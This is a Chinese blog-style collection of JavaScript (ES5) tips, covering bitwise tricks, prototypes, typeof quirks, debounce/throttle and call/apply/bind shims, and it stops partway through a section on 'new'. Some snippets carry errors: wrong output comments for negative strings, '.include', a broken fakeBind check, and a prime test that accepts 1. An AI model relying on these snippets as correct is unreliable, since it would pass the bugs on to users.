js(ES5)随手记(持续)

  • start date: 2018-08-27 13:00:45

1 【性能】能用 innerText 的地方不要用 innerHTML

直接看图
for

*jQuery/Zepto 对应$.fn.text()和$.fn.html()。

2 【注意】遍历数组用 for、遍历对象用 for…in

for…in 在部分机型遍历数组会输出原型属性,且 for 效率比 for…in 高。

3 【技巧】利用运算符”~“检索字符串

一般都是用“str.indexOf(‘test’) > -1”这种形式来判断字符串 str 中是否包含”test”字符串,现在可以利用位运算符“~”:“~str.indexOf(‘test’)”,包含时返回非 0 数字,不包含时则返回 0。并且二者查询效率一致。

4 【方法】获取农历日期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
* @param date {Time Object} 日期
*/
function getLunarDate(date) {
var TIAN_GAN = ['甲', '乙', '丙', '丁', '戊', '己', '庚', '辛', '壬', '癸'];
var DI_ZHI = ['子', '丑', '寅', '卯', '辰', '巳', '午', '未', '申', '酉', '戌', '亥'];
var SHI = ['初', '十', '廿', '三'];
var YUE = ['', '十'];
var GE = ['一', '二', '三', '四', '五', '六', '七', '八', '九', '十'];

var locale = 'zh-TW-u-ca-chinese';
var fmt = function (key, d) {
return Intl.DateTimeFormat(locale, { [key]: 'numeric' })
.format(d || date)
.match(/\d+/)[0];
};
var isLeapMonth = function (d) {
var _date = new Date(date);
_date.setDate(-d);
return fmt('month', _date) === m;
};

var y = fmt('year');
var m = fmt('month');
var d = fmt('day');

isL = isLeapMonth(d);

y = TIAN_GAN[(y - 1) % 10] + DI_ZHI[(y - 1) % 12];
m = (YUE[((m - 1) / 10) | 0] + GE[(m - 1) % 10]).replace(/^一$/, '正');
d = (SHI[(d / 10) | 0] + GE[(d - 1) % 10]).replace(/^十十$/, '初十').replace(/^廿十$/, '二十');

return y + '年' + (isL ? '閏' : '') + m + '月' + d;
}

使用

1
2
var _time = getLunarDate(new Date('2018/10/10'));
console.log(_time); // 戊戌年九月初二

5 柯里化

在计算机科学中,柯里化(Currying)是把接受多个参数的函数变换成接受一个单一参数(最初函数的第一个参数)的函数,并且返回接受余下的参数且返回结果的新函数的技术。这个技术由 Christopher Strachey 以逻辑学家 Haskell Curry 命名的,尽管它是 Moses Schnfinkel 和 Gottlob Frege 发明的。

1
2
const curry = (fn, arr = []) => (...args) =>
(arg => (arg.length === fn.length ? fn(...arg) : curry(fn, arg)))([...arr, ...args]);

如 ES6

1
x => y => x + y;

6 for 循环的算法优化

例:

1
2
3
var arr = [1, 2, 3, 4, 5, 6];

// 比如console输出每项

6.1 性能最差

1
2
3
for (var i = 0; i < arr.length; i++) {
console.log(arr[i]);
}

6.2 性能很好

1
2
3
for (var i = 0, len = arr.length; i < len; i++) {
console.log(arr[i]);
}

6.3 性能最好

1
2
3
for (var i = 0, item; (item = arr[i++]); ) {
console.log(item);
}
1
2
3
for (var i = arr.length; i--; ) {
console.log(arr[i]);
}

7 生成格式化 JSON 字符串

例:

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
a: 1,
b: [2, 3],
c: {
c1: 4,
c2: 5,
},
d: 6,
};

JSON.stringify(obj, null, 4); // 缩进4格
JSON.stringify(obj, null, '\t'); // tab

8 prototype 和__proto__

prototype 和__proto__都指向原型对象,任意一个函数(包括构造函数)都有一个 prototype 属性,指向该函数的原型对象,同样任意一个构造函数实例化的对象,都有一个__proto__属性(__proto__并非标准属性,ECMA-262 第 5 版将该属性或指针称为[[Prototype]],可通过 Object.getPrototypeOf()标准方法访问该属性),指向构造函数的原型对象。

任何对象都有一个__proto__属性;任何方法都有一个 prototype 属性;prototype 属性也是一个对象,所以也有一个__proto__属性。

js 中的对象都是 new 构造函数创建的。而这个构造函数就是我们定义的函数;而所有的对象中都有__proto__属性,这个属性就是一个指针,指向构造函数中的 prototype 属性。

1
2
3
4
function factory() {}
var obj = new factory();

console.log(factory.prototype === obj.__proto__); // true

每个对象都有一个__proto__属性,指向创建该对象的函数的 prototype。但是 Object.prototype 确实一个特例——它的__proto__指向的是 null!

检查当前环境是否可以使用对象的 proto 属性

1
export const hasProto = '__proto__' in {};

注意

proto属性很特殊,它提供了 Object.getPrototypeOf 方法所不具备的额外能力,即修改对象原型链接的能力。

但是在业务代码里一定要避免修改proto属性

  • 最明显的原因是可移植性的问题。并不是所有的平台都支持修改对象原型的特性,所以无法编写可移植的代码。
  • 另一个原因是性能问题。所有现代的 js 引擎都深度优化了获取和设置对象属性的行为,因为这些都是一些常见的 js 操作。这些优化都是基于引擎对对象结构的认识上。当更改了对象的内部结构(如添加或删除该对象或其原型链中的对象的属性),将会使一些优化失效。修改proto属性实际上改变了继承结构本身,这可能是最具破坏性的修改。
  • 最大的原因是为了保持行为的可预测性。对象的原型链通过其一套确定的属性及属性值来定义它的行为。修改对象的原型链就像对其进行“大脑移植”,这会交换对象的整个层次结构。在某些情况下这样的操作可能是有用的,但是保持继承层次结构的相对稳定是一个基本的原则。

可以使用 ES5 中的 Object.create 函数来创建一个具有自定义原型链的新对象

instanceof 原理

instanceof 表示的就是一种继承关系,或者原型链的结构。

1
A instanceof B

instanceof 的判断队则是:沿着 A 的__proto__这条线来找,同时沿着 B 的 prototype 这条线来找,如果两条线能找到同一个引用,即同一个对象,那么就返回 true。如果找到终点还未重合,则返回 false。(所以会出现 Object instanceof Function === true 和 Function instanceof Object === true)。

p-proto.jpg

9 特殊的 typeof

1.typeof null

背景

1
2
console.log(typeof null); // 'object'
console.log(null instanceof Object); // false

原因

在 JavaScript 的最初版本中,JavaScript 中的值是由一个表示类型的标签和实际数据值表示的,使用的 32 位系统,为了性能考虑使用低位存储了变量的类型信息:

  • 000(标签是 0):对象;
  • 1:整数;
  • 010:浮点数;
  • 100:字符串;
  • 110:布尔;

有 2 个值比较特殊:

  • undefined:用 -2^{30} (−2^30)表示。
  • null:对应机器码的 NULL 指针,一般是全零(大多数平台下是0x00)。

typeof 的判断原理

  • (1):判断是否为 undefined;
  • (2):如果不是 undefined,判断是否为对象
  • (3):如果不是对象,判断是否为数字
  • (4):判断字符串、布尔值。。。

这样一来, null 就出了一个“bug”。根据 type tags 信息,低位是 000,因此 null 被判断成了一个对象。这就是为什么 typeof null 的返回值是 “object”。

2.typeof document.all

1
console.log(typeof document.all); // 'undefined'

document.all 的类型标记为“undefined”的情况必须被列为违反规则的特殊情况。原因是因为 IE4:

1
2
3
浏览器刚刚出现,很多功能不完善,比如 document.getElementById,都有很多浏览器不支持。甚至连 W3C 都还没制定出 Web 标准,这个时候 IE 4(我擦我都没见过 IE 4)推出了一些 API,只有 IE 4 支持,其中就包括我们今天说 document.all,它比 document.getElementById 要好用一些,比如你可以用 document.all[‘topbar’] 来获取元素。
其他浏览器(网景)觉得 IE 4 有的功能,我也要有才行。于是也加上 document.all,功能一样,可以获取元素。
但是呢,其他浏览器又不想被某些程序员认为是 IE,于是 typeof document.all 的值定为 undefined。

3.typeof alert

IE6、7、8 的结果是”object”,其他是”function”。

4.typeof 正则表达式

1
2
typeof /s/ === 'function'; // Chrome 1-12 , 不符合 ECMAScript 5.1
typeof /s/ === 'object'; // Firefox 5+ , 符合 ECMAScript 5.1

10 工程思想——“SOLID”五大原则:

SOLID 是为了实现“高内聚、低耦合”的目标。

  • Single Responsibility Principle 单一责任原则
  • The Open Closed Principle 开放封闭原则(常用)
  • The Liskov Substitution Principle 里氏替换原则
  • The Dependency Inversion Principle 依赖倒置原则
  • The Interface Segregation Principle 接口分离原则

其中开放封闭原则:

A software artifact should be open for extension but closed for modification.

软件系统的核心逻辑都不应该轻易改变,否则会破坏系统的稳定性和增加测试成本。我们应当建立合适的抽象并统一接口,当业务需要扩展时,我们可以通过增加实体类来完成。

11 V8 引擎

V8 引擎由两个主要部件组成:

  • Memory Heap(内存堆) —  内存分配地址的地方
  • call Stack(调用堆栈) — 代码执行的地方

12 位运算符的使用

当进行数字运算时,位运算操作要比任何布尔运算或者算数运算快

12.1 判断数字奇偶性:&

1
2
奇数 & 1 = 1;
偶数 & 1 = 0;

1
2
3
4
5
var num1 = 10,
num2 = 13;

console.log(num1 & 1); // 0
console.log(num2 & 1); // 1

12.2 取整(舍弃小数部分):~~/>>/<</>>>/|

注:>>>不可用于负数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 正数
console.log(~~5.21); // 5
console.log(5.21 >> 0); // 5
console.log(5.21 << 0); // 5
console.log(5.21 | 0); // 5
console.log(5.21 >>> 0); // 5

// 负数
console.log(~~-5.21); // -5
console.log(-5.21 >> 0); // -5
console.log(-5.21 << 0); // -5
console.log(-5.21 | 0); // -5
console.log(-5.21 >>> 0); // 4294967291,所以不可使用>>>对负数进行取整

// 字符串正数
console.log(~~'5.21'); // 5
console.log('5.21' >> 0); // 5
console.log('5.21' << 0); // 5
console.log('5.21' | 0); // 5
console.log('5.21' >>> 0); // 5

// 字符串负数
console.log(~~'-5.21'); // 5
console.log('-5.21' >> 0); // 5
console.log('-5.21' << 0); // 5
console.log('-5.21' | 0); // 5
console.log('-5.21' >>> 0); // 4294967291,所以不可使用>>>对字符串负数进行取整

// 空字符串
console.log(~~''); // 0 同其他

// boolean
console.log(~~true); // 1 同其他
console.log(~~false); // 0 同其他

// undefined
console.log(~~undefined); // 0 同其他

// null
console.log(~~null); // 0 同其他

// NaN
console.log(~~NaN); // 0 同其他

>>实际上是一个快速的 Math.floor()函数,速度有提升。

12.3 经典题,数字交换

1
2
3
4
5
6
7
8
9
10
11
var a = 1,
b = 2;

a ^= b;
b ^= a;
a ^= b;

console.log(a, b); // 2 1

// 变态版
a = a ^ b ^ a = a ^ a ^ b = 0 ^ b = b;

12.4 颜色值转换

16 进制->RGB

1
2
3
4
5
6
7
8
9
function hexToRGB(hex) {
var hex = hex.replace('#', '0x'),
r = hex >> 16,
g = (hex >> 8) & 0xff,
b = hex & 0xff;
return 'rgb(' + r + ',' + g + ',' + b + ')';
}

hexToRGB('#ff00cc'); // 'rgb(255,0,204)'

RGB->16 进制

1
2
3
4
5
6
7
function RGBToHex(rgb) {
var rgbArr = rgb.split(/[^\d]+/),
color = (rgbArr[1] << 16) | (rgbArr[2] << 8) | rgbArr[3];
return '#' + color.toString(16);
}

RGBToHex('rgb(255,0,204)'); // '#ff00cc'

12.5 indexOf 判断索引存在:~

按位非~-1 === 0

1
2
3
4
5
var str = 'abc';

console.log(~str.indexOf('a')); // -1
console.log(~str.indexOf('bc')); // -2
console.log(~str.indexOf('cd')); // 0

12.6 构造属性集:|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var postFlag = 0;

if (pos.right < maxLen) posFlag |= 1; // 右边超出
if (pos.top < maxLen) posFlag |= 2; //上面超出
if (pos.left < maxLeftLen) posFlag |= 4; //左边超出

//对超出的情况进行处理,代码略
switch (posFlag) {
case 1: //右
case 2: //上
case 3: //右上
case 4: //左
case 6: //左上
}

12.7 2 的 n 次方或开方: <<

1
1 << n 等于 Math.pow(2, n)

1
2
1 << 1; // 2
1 << 3; // 8

13 简单类型转换

1
2
3
4
5
6
7
var myVar = '3.14159',
str = '' + myVar, // to string
i_int = ~~myVar, // to integer
f_float = 1 * myVar, // to float
b_bool = !!myVar /* to boolean - any string with length
and any number except 0 are true */,
array = [myVar]; // to array

14 重视 while

在 JavaScript 中,我们可以使用 for(;;),while(),for(in)三种循环,事实上,这三种循环中 for(in)的效率极差,因为他需要查询散列键,只要可以,就应该尽量少用。for(;;)和 while 循环,while 循环的效率要优于 for(;;),可能是因为 for(;;)结构的问题,需要经常跳转回去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var arr = [1, 2, 3, 4, 5, 6, 7];
var sum = 0;
for (var i = 0, l = arr.length; i < l; i++) {
sum += arr[i];
}

//可以考虑替换为:

var arr = [1, 2, 3, 4, 5, 6, 7];
var sum = 0,
l = arr.length;
while (l--) {
sum += arr[l];
}

15 释放 JavaScript 对象

  • 对象:obj = null
  • 对象属性:delete obj.myproperty
  • 数组 item:使用数组的 splice()方法释放数组中不用的 item

16 Chrome 中的$和$\$

  • \$: document.querySelector
  • $$
    $$

像 jq。
如:

1
2
var $id = $('#id');
var $$items = $('.m-items');

17 document.visibilityState

监听页面显示状态,可通过监听 visibilitychange 事件,并且根据 document.visibilityState 来判断当前状态,如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
document.addEventListener(
'visibilitychange',
function () {
switch (document.visibilityState) {
case 'prerender':
break; // 网页预渲染,此时内容不可见
case 'hidden':
break; // 处于后台状态、最小化(pc)、或锁屏状态,内容不可见
case 'visible':
break; // 内容可见
case 'unloaded':
break; // 文档被卸载
}
},
false
);

移动基本无兼容问题。

18 shim 和 polyfill

Shim

Shim 指的是在一个旧的环境中模拟出一个新 API ,而且仅靠旧环境中已有的手段实现,以便所有的浏览器具有相同的行为。主要特征:

  • 该 API 存在于现代浏览器中;
  • 浏览器有各自的 API 或 可通过别的 API 实现;
  • API 的所有方法都被重新实现;
  • 拦截 API 调用,并提供自己的实现;
  • 是一个优雅降级。

如 IE8 模拟 document.getElementsByClassName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (!document.getElementsByClassName) {
document.getElementsByClassName = function (className, element) {
var children = (element || document).getElementsByTagName('*');
var elements = [];
for (var i = 0, ilen = children.length; i < ilen; i++) {
var child = children[i];
var classNames = child.className.split(' ');
for (var j = 0, jlen = classNames.length; j < jlen; j++) {
if (classNames[j] == className) {
elements.push(child);
break;
}
}
}
return elements;
};
}

Polyfill

Polyfill 是一段代码(或者插件),提供了那些开发者们希望浏览器原生提供支持的功能。程序库先检查浏览器是否支持某个 API,如果不支持则加载对应的 polyfill。主要特征:

  • 是一个浏览器 API 的 Shim;
  • 与浏览器有关;
  • 没有提供新的 API,只是在 API 中实现缺少的功能;
  • 以只需要引入 polyfill,它会静静地工作;

shim 的概念要比 polyfill 更大一些,可以将 polyfill 理解为专门兼容浏览器 API 的 shim 。简单的说,如果浏览器 X 支持标准规定的功能,那么 polyfill 可以让浏览器 Y 的行为与浏览器 X 一样。

19 函数防抖/节流

函数防抖是间隔超过一定时间后才会执行,函数节流是一定时间段内只执行一次。
函数防抖:

1
2
3
4
5
6
7
8
9
function debounce(fn, delay) {
let timer = null;
return function () {
if (timer) clearTimeout(timer);
timer = setTimeout(() => {
fn.apply(this, arguments);
}, delay);
};
}

函数节流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function throttle(fn, cycle) {
let start = Date.now();
let now;
let timer;
return function () {
now = Date.now();
clearTimeout(timer);
if (now - start >= cycle) {
fn.apply(this, arguments);
start = now;
} else {
timer = setTimeout(() => {
fn.apply(this, arguments);
}, cycle);
}
};
}

20 连等代码是不可拆分的

题:

1
2
3
4
5
6
7
let obj = { n: 1 };
let newObj = obj;
obj.m = obj = { n: 2 };
console.log(obj);
console.log(newObj);

// obj = {n: 2}, newObj = {n: 1, m: {n:2}}

赋值操作之前编译器就已经读取到了变量和它的属性 m,然后编译器会在作用域中查找对象是否有 m 属性,没有的话就会生成 m 属性。

类似于

1
2
3
4
5
6
7
let obj = { n: 1 };
let newObj = obj;
obj.m = obj = { n: 2 };
//改变n的值
obj.n = 100;
console.log(obj); //{n: 100}
console.log(newObj); //{n: 1,m: {n: 100}}

有关连等还有个很坑的题

先看题

1
2
3
4
5
var a = { n: 1 };
var b = a; // 持有a,以回查
a.x = a = { n: 2 };
alert(a.x); // --> undefined
alert(b.x); // --> {n:2}

1、优先级。.的优先级高于=,所以先执行 a.x,堆内存中的{n: 1}就会变成{n: 1, x: undefined},改变之后相应的 b.x 也变化了,因为指向的是同一个对象。

类似这样:

1
1. a: { n: 1, x: null }

赋值操作是从右到左,所以先执行 a = {n: 2},a 的引用就被改变了,然后这个返回值又赋值给了 a.x,需要注意的是这时候 a.x 是第一步中的{n: 1, x: undefined}那个对象,其实就是 b.x,相当于 b.x = {n: 2}

1
2
2. a: { n: 2 }
3. b: { n: 1, x: {n: 2} }

21 判断是否为质数

只有 1 和它本身两个约数的数叫质数。例如,2 是质数,因为它只能被 1 和 2 整除。1 不是质数,因为它只能被自身整除。

1
2
3
4
5
6
7
8
9
10
/**
* 判断是否为质数
* @param {Number} 检验数据
* @return {Boolean}
*/
function isPrimeNumber(num) {
var s = Math.floor(Math.sqrt(num));
for (var i = s; i > 1; i--) if (num % i == 0) return false;
return true;
}

22 arguments 相关

转数组

1
2
3
4
5
6
var args = Array.prototype.slice.call(arguments);
var args = [].slice.call(arguments);

// ES2015
const args = Array.from(arguments);
const args = [...arguments];

数据绑定

在 JavaScript 中,参数变量和 arguments 是双向绑定的。改变参数变量,arguments 中的值会立即改变;而改变 arguments 中的值,参数变量也会对应改变。

1
2
3
4
5
6
7
8
9
function equal(a) {
a[1] = a[0];
}
function test(a, b) {
a = 10;
equal(arguments);
console.log(a + b);
}
test(1, 1); // 20

23 利用 parseInt()进行十进制转换

parseInt() 函数解析一个字符串参数,并返回一个指定基数的整数 (数学系统的基础)。其参数:

  • string:要被解析的值。如果参数不是一个字符串,则将其转换为字符串(使用 ToString 抽象操作)。字符串开头的空白符将会被忽略。
  • radix:一个介于 2 和 36 之间的整数(数学系统的基础),表示上述字符串的基数。比如参数”10”表示使用我们通常使用的十进制数值系统。始终指定此参数可以消除阅读该代码时的困惑并且保证转换结果可预测。当未指定基数时,不同的实现会产生不同的结果,通常将值默认为 10。

返回值:返回解析后的整数值。 如果被解析参数的第一个字符无法被转化成数值类型,则返回 NaN。

进行进制转换:

1
2
parseInt('123', 5); // 将'123'看作5进制数,返回十进制数38 => 1*5^2 + 2*5^1 + 3*5^0 = 38
parseInt(101, 2); // 将101看作2进制数,返回十进制数5 => 1*2^2 + 1*2^0 = 5

* 来一道易错题

1
2
3
4
5
6
7
['1', '2', '3'].map(parseInt);

// 它的结果是?
// A. ["1", "2", "3"]
// B. [1, 2, 3]
// C. [0, 1, 2]
// D. other

map 的回调函数需要三个参数 callback(currentValue, index, array),因此该数组每次执行回调的分别是 parseInt(“1”, 0), parseInt(“2”, 1), parseInt(“3”, 2)。故答案是 other([1, NaN, NaN])。

24 Array.prototype.map()、Array.prototype.reduce()和 Array.prototype.filter()的特殊情况

Array.prototype.map()会过滤无值的索引

map 方法会给原数组中的每个元素都按顺序调用一次 callback 函数。callback 每次执行后的返回值组合起来形成一个新数组。 callback 函数只会在有值的索引上被调用;那些从来没被赋过值或者使用 delete 删除的索引则不会被调用。

1
2
3
4
[1, 2, 3, , , , 4].map(function (item) {
return 'a';
});
// ['a', 'a', 'a', , , , 'a']

Array.prototype.reduce()需要避免空数组

如果数组为空且没有提供 initialValue,会抛出 TypeError 。如果数组仅有一个元素(无论位置如何)并且没有提供 initialValue, 或者有提供 initialValue 但是数组为空,那么此唯一值将被返回并且 callback 不会被执行。

1
[].reduce(function () {}); // Uncaught TypeError: Reduce of empty array with no initial value at Array.

Array.prototype.filter()过滤

1
2
3
4
5
[1, 2, 3, , 0, '', , 4].filter(function (item) {
return item;
});

// [1, 2, 3, 4];

filter 为数组中的每个元素调用一次 callback 函数,并利用所有使得 callback 返回 true 或 等价于 true 的值 的元素创建一个新数组。callback 只会在已经赋值的索引上被调用,对于那些已经被删除或者从未被赋值的索引不会被调用。那些没有通过 callback 测试的元素会被跳过,不会被包含在新数组中。

上述数组如果想要保留零和空字符串的情况,可以

1
2
3
4
5
[1, 2, 3, , 0, '', , 4].filter(function (item) {
return item !== undefined;
});

// [1, 2, 3, 0, "", 4];

25 求余运算会保留符号

1
2
console.log(-9 % 3); // -0
console.log(-4 % 3); // -1

26 诡异的 NaN

NaN(not a number), 非常诡异的存在。NaN 与任何值不相符,包括它本身。

1
2
3
console.log(Boolean(NaN)); // false
console.log(NaN == false); // false
console.log(NaN == NaN); // false

27 Array.prototype.concat 为何效率没有 push 高?

合并数组最先想到的便是 Array.prototype.concat()方法,但是实际上通过 Array.prototype.push()也能实现数组的合并:

1
2
// es6
arr1.push(...arr2);

其 babel 转为 ES5 后:

1
arr1.push.apply(arr1, arr2);

并且通过 push 方法实现合并比 concat 效率更高,原因在于其实现的底层源码,

先说 concat:

1
2
3
4
5
6
7
8
9
10
11
var arr3 = [];

// add arr1
for (var i = 0; i < arr1Length; i++) {
arr3[i] = arr1[i];
}

// add arr2
for (var i = 0; i < arr2Length; i++) {
arr3[arr1Length + i] = arr2[i];
}

push:

1
2
3
for (var i = 0; i < arr2Length; i++) {
arr1[arr1Length + i] = arr2[i];
}

两者的区别在于 push 方法在实现中直接修改第一个数组。

28 数组功能的利用

判断内容

很多情况下需要对变量进行判断处理,大多做法是通过||,但利用数组我们可以做到更加清晰以及易维护:

1
2
3
4
// bad
if (value === 'apple' || value === 'banana' || value === 'orange') {
// ...
}

可改为

1
2
3
4
// good
if (['apple', 'banana', 'orange'].include(value)) {
// ...
}

判断是否全部匹配 Array.prototype.every()

在一个数组字典中([{...}, {...}])判断一个变量是否通过所有数组测试,大多做法是使用 for 循环,但利用 Array.prototype.every()方法可以更简洁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// bad
let _arr = [
{ key: 'apple', num: 2 },
{ key: 'banana', num: 10 },
{ key: 'orange', num: 15 },
];

let bool = false;
for (let item of _arr) {
if (item.num <= value) {
bool = true;
break;
}
}
1
2
3
4
5
6
7
8
// good
let _arr = [
{ key: 'apple', num: 2 },
{ key: 'banana', num: 10 },
{ key: 'orange', num: 15 },
];

let bool = _arr.every(item => item.num <= value);

判断是否存在匹配 Array.prototype.some()

在一个数组字典中([{...}, {...}])判断一个变量是否在数组中,大多做法是使用 for 循环,但利用 Array.prototype.some()方法可以更简洁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// bad
let _arr = [
{ key: 'apple', color: 'red' },
{ key: 'banana', color: 'yellow' },
{ key: 'orange', color: 'orange' },
];

let bool = false;
for (let item of _arr) {
if (item.key === value) {
bool = true;
break;
}
}
1
2
3
4
5
6
7
8
// good
let _arr = [
{ key: 'apple', color: 'red' },
{ key: 'banana', color: 'yellow' },
{ key: 'orange', color: 'orange' },
];

let bool = _arr.some(item => item.key === value);

29 label statement

有这么个需求,

1
2
3
4
5
6
7
8
for (var i = 0; i < 10; i++) {
console.log(i);
for (var j = 0; j < 5; j++) {
console.log(j);
}
}

console.log('done');

我想要当 j = 2 的时候就退出所有的 for 语句,打印最后的 done ,你会怎么做?

可能有的同学会想到这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
function foo() {
for (var i = 0; i < 10; i++) {
console.log(i);
for (var j = 0; j < 5; j++) {
console.log(j);
if (j === 2) return;
}
}
}

foo();

console.log('done');

这样可以实现,但是又多写了一个函数,那么有没有别的办法呢?

在 JavaScript 中,语句优先。也就是说,如果一段代码既能够以语句的方式解析,也能用语法的方式解析,在 JS 中,会优先按语句来解析。

比如:

1
2
3
{
a: 1;
}

在 JS 中,{}既可以代表代码块,又可以作为 Object 的语法标志。
那么我们前面说过,JS 是语句优先的,当一段代码既可以按照语句解析,又可以按照语法解析的时候,会优先按语句解析。

当把{}当做是代码块的时候,里面的 a : 1,返回 1。因此上面的需求可这样写:

1
2
3
4
5
6
7
8
9
10
11
aa: {
for (var i = 0; i < 10; i++) {
console.log(i);
for (var j = 0; j < 5; j++) {
console.log(j);
if (j === 2) break aa;
}
}
}

console.log('done');

aa 是标签声明,包裹一个代码块,break 的作用是跳出当前的循环,本来是无法跳出外面那层 for 循环的,但是 break aa,这里跳出了整个代码块。

当然,这种写法是完全不提倡的,这里只是用来说明 JS 中的 Label Statement 这个特性。

同样的,这也是 eval 函数中如下需要添加()的原因

1
2
3
4
5
// 假设str是你通过ajax接收到的JSON串
var str = '{"name": "liu", "age": 20}';
var obj = eval('(' + str + ')');

console.log(obj);

这也是立即执行函数的原理,更多可见mdn-label

30 浏览器的事件流

事件行的整个过程称之为事件流,分为三个阶段:事件捕获阶段,事件目标处理函数、事件冒泡

  • 当某个元素触发某个事件时(如:click),顶级对象 document 发出一个事件流,顺着 dom 的树节点向触发它的目标节点流去,直到达到目标元素,这个层层递进,向下找目标的过程为事件的捕获阶段,此过程与事件相应的函数是不会触发的。
  • 到达目标函数,便会执行绑定在此元素上的,与事件相应的函数,即事件目标处理函数阶段。
  • 最后,从目标元素起,再依次往顶层元素对象传递,途中如果有节点绑定了同名事件,这些事件所对应的函数,在此过程中便称之为事件冒泡。通常情况下,事件相应的函数四在冒泡阶段执行的。addEventListener 的第三个参数默认为 false,表示冒泡阶段执行(为 true 的时候,表示捕获阶段执行)。使用e.stopPropgation()e.cancelBubble = true(IE)可以阻断事件向当前元素的父元素冒泡。

>>浏览器的事件流

事件传播的三个阶段:捕获,目标对象,冒泡。

  • 1.捕获(Capture)是事件对象(event object) 从 window 派发到 目标对象父级的过程。
  • 2.目标(Target)阶段是事件对象派发到目标元素时的阶段,如果事件类型指示其不冒泡,那事件传播将在此阶段终止。
  • 3.冒泡(Bubbling)阶段和捕获相反,是以目标对象父级到 window 的过程。
    在任一阶段调用 stopPropagation 都将终止本次事件的传播。

31 2.55.toFixed(1)

由于 js 遵循 IEEE 754 规范,采用双精度存储(double precision),导致出现如下问题

1
(2.55).toFixed(1); // '2.5'

按理论上它应该四舍五入为’2.6’,
可通过如下简单修正(无法完全避免):

1
2
3
4
5
6
if (!Number.prototype._toFixed) {
Number.prototype._toFixed = Number.prototype.toFixed;
}
Number.prototype.toFixed = function (n) {
return (this + 1e-14)._toFixed(n);
};

再调用:

1
(2.55).toFixed(1); // '2.6'

其原因可见《为什么(2.55).toFixed(1)等于 2.5?》

32 [,,,]

js 可以解析如[,,,]这种逗号分隔的空值数组,但结果其实是[empty, empty, empty]
如:

1
2
var arr = [, , ,];
console.log(arr.length); // 3

33 诡异的 Function.length

Function 的 length 属性指明函数的形参个数

1
2
3
4
5
6
7
8
9
10
11
console.log(Function.length); /* 1 */

console.log(function () {}.length); /* 0 */
console.log(function (a) {}.length); /* 1 */
console.log(function (a, b) {}.length); /* 2 etc. */

console.log(function (...args) {}.length);
// 0, rest parameter is not counted

console.log(function (a, b = 1, c) {}.length);
// 1, only parameters before the first one with a default value is counted

ES6 函数指定了默认值以后,函数的 length 属性将返回没有指定默认值的参数个数。也就是说,指定了默认值后,length 属性将失真。

34 Object/Array<Object> 属性过滤方法

保留

1
2
3
4
5
6
7
8
9
10
/**
* @param {Object} obj: 原始对象
* @param {Array} keys: 保留字段
* @return {Object}
*/
function pick(obj, keys) {
return keys
.map(k => (k in obj ? { [k]: obj[k] } : {}))
.reduce((res, o) => Object.assign(res, o), {});
}

使用如

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
a: '1',
b: 2,
c: [345],
};

pick(obj, ['a', 'c']); // {a: "1", c: [345]}

// Array<object>
var arr = [{ a: 1, b: 3, c: 5 }, { a: 1 }];

arr.map(row => pick(row, ['a', 'c'])); // [ {a: 1, c: 5}, { a: 1 } ]

过滤

1
2
3
4
5
6
7
8
9
10
11
/**
* @param {Object} obj: 原始对象
* @param {Array} keys: 过滤字段
* @return {Object}
*/
function reject(obj, keys) {
return Object.keys(obj)
.filter(k => !keys.includes(k))
.map(k => Object.assign({}, { [k]: obj[k] }))
.reduce((res, o) => Object.assign(res, o), {});
}

1
2
3
4
5
6
7
8
9
/**
* @param {Object} obj: 原始对象
* @param {Array} keys: 过滤字段
* @return {Object}
*/
function reject(obj, keys) {
const vkeys = Object.keys(obj).filter(k => !keys.includes(k));
return pick(obj, vkeys);
}

使用如

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
a: '1',
b: 2,
c: [345],
};

reject(obj, ['a', 'c']); // {b: 2}

// Array<object>
var arr = [{ a: 1, b: 3, c: 5 }, { a: 1 }];

arr.map(row => reject(row, ['a', 'c'])); // [ {b: 3}, {} ]

35 函数 call/apply/bind 方法、以及 new 操作符的实现

(*知道实现方法有助于更好得理解)

call/apply

首先来看 call/apply 方法都做了什么:修改函数的 this 指向;(传参)并执行函数。由此可以如下定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 模拟call方法
*/
Function.prototype.fakeCall = function () {
let obj = arguments[0] || window;
obj.func = this;
let result = obj.func(...[...arguments].slice(1));

delete obj.func;
return result;
};

/**
* 模拟apply方法
*/
Function.prototype.fakeApply = function () {
let obj = arguments[0] || window;
obj.func = this;
let result = arguments[1] ? obj.func(...arguments[1]) : obj.func();

delete obj.func;
return result;
};

// test
function sayInfo(name, age) {
console.log(`name: ${name}, age: ${age}, value: ${this.value}`);
}
sayInfo('man1', 12); // name: man1, age: 12, value: undefined

let testObj = {
value: 'testObj',
};
sayInfo.fakeCall(testObj, 'man2', 23); // name: man2, age: 23, value: testObj
sayInfo.fakeApply(testObj, ['man3', 35]); // name: man3, age: 35, value: testObj

bind

再来看看 bind 方法都做了什么:修改函数的 this 指向及原型;(传参)并返回一个函数。由此可以如下定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Function.prototype.fakeBind = function () {
let obj = arguments[0] || window;
let _argu = [...arguments].slice(1);
let _this = this;

let Func = function () {
let self = this.instanceof Func ? this : obj;
return _this.apply(self, ..._argu.concat([...arguments])); // 或_this.call(obj, _argu.concat([...arguments]));
};

// 或直接Object.create()
let f = function () {};
f.prototype = this.prototype;
Func.prototype = new f();

return Func;
};

new

看看使用 new 操作符发生了什么:创建一个空对象;该空对象的原型指向构造函数(链接原型):将构造函数的 prototype 赋值给对象的 proto属性;绑定 this:将对象作为构造函数的 this 传进去,并执行该构造函数;返回新对象:如果构造函数返回的是一个对象,则返回该对象;否则(若没有返回值或者返回基本类型),返回第一步中新创建的对象;

1
2
3
4
5
